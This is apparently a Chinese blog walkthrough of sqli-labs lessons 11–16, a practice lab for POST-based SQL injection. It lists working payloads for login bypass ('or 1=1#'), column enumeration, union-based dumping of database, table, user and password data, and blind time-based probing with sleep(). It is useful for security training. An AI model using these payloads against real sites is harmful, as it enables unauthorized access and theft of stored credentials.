zoukankan      html  css  js  c++  java
  • sqli-labs Less11-Less16

    Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)

    (1)先输入adminadmin进行登录

      sql语句为:

      SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

    (2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。

       A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包

       里面显示了详细的信息,我们只需要最后一句话

       B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可

       C.进行测试

         uname=admin'&passwd=admin&submit=Submit

       admin后加一个单引号,出现错误

      uname='&passwd=admin&submit=Submit

       admin删掉,只留下单引号还是有错误,说明存在注入漏洞

      uname=admin' or 1=1#&passwd=admin&submit=Submit

      admin’后加上or 1=1 #,再次执行,发现登录成功

      uname=' or 1=1#&passwd=admin&submit=Submit

       此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞

    (3)username为例进行验证,使用order by语句验证列数

         uname=' order by 3#&passwd=admin&submit=Submit

       返回错误,显示不存在三列

      uname=' order by 2#&passwd=admin&submit=Submit

       虽然登录失败,但是并没有返回错误,说明是两列

    (4)判断完列数后,使用union select语句进行联合查询,查看回显位置

        uname=' union select 1,2#&passwd=admin&submit=Submit

       回显出位置

    (5)接下来就是常规的查库,查表等一系列操作

        查询当前使用的数据库

        uname=' union select 1,database()#&passwd=admin&submit=Submit

       可以看到数据库为security

      查看所有库

      uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

    (6)查看表

      uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

    (7)查看字段

      uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

    (8)查看用户和密码信息

        用户信息

        uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit

      密码信息

      uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit

    (9)一次性查询数据的方法

      Lesson 11结束

    Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)

    (1)查询是否存在注入(将admin破坏,加上or 1=1#

      uname='or 1=1#&passwd=admin&submit=Submit

       虽然没有成功登录,但是也没有返回错误

      uname=" or 1=1#&passwd=admin&submit=Submit

       将单引号改成双引号,发现有错误

      如何判断是单引号还是双引号,可以看回显的sql语句来观察

       包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行

    测试成功

    2)接下来和上一课相同,不做展示,只是练习一下

      Lesson 12结束

    Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

    (1)先进行测试

      发现正常登录后,虽然有登录成功,但是并没有回显任何信息

    (2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可

        uname=admin') or 1=1#&passwd=admin&submit=Submit

       也是什么都没有回显

    (3)union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显

    (4)使用length()函数来猜解数据库长度

    (5)使用if语句进行判断

      uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

       然后进行猜测,测试数据,最后发现数据库长度为8

    (6)然后判断第一个字母,使用left语句直接进行判断

     

      uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

       以这种方法可以查出库的名字

      剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示

      

      Lesson 13结束

    Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

    (1)先进行登录测试

      uname=admin&passwd=admin&submit=Submit

     只有成功登录但是并没有任何回显信息

    13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习

     

      Lesson 14结束

    Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool/时间延迟的单引号POST盲注)

    (1)先测试

      与1314课差不多,只是包裹admin的符号不同,只不过这个是单引号

      Lesson 15结束

    Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool/时间延迟的双引号POST盲注)

      先测试

       这关是双引号和单括号进行包裹,其他与13关相同

     Lesson 16结束

  • 相关阅读:
    thinkphp5 tp5 命名空间 报错 Namespace declaration statement has to be the very first statement in the script
    开启 php 错误 提示 php-fpm 重启 nginx 500错误 解决办法 wdlinux lnmp 一键包 php脚本无法解析执行
    js 设置 cookie 定时 弹出层 提示层 下次访问 不再显示 弹窗 getCookie setCookie setTimeout
    php 二维数组 转字符串 implode 方便 mysql in 查询
    nginx 重启 ps -ef|grep nginx kill -HUP 主进程号
    jquery bootstrap help-block input 表单 提示 帮助 信息
    jquery 倒计时 60秒 短信 验证码 js ajax 获取
    jQuery如何获取同一个类标签的所有的值 遍历
    linux下C语言文件操作相关函数
    gcc,gdb用法
  • 原文地址:https://www.cnblogs.com/zhaihuijie/p/12514256.html
Copyright © 2011-2022 走看看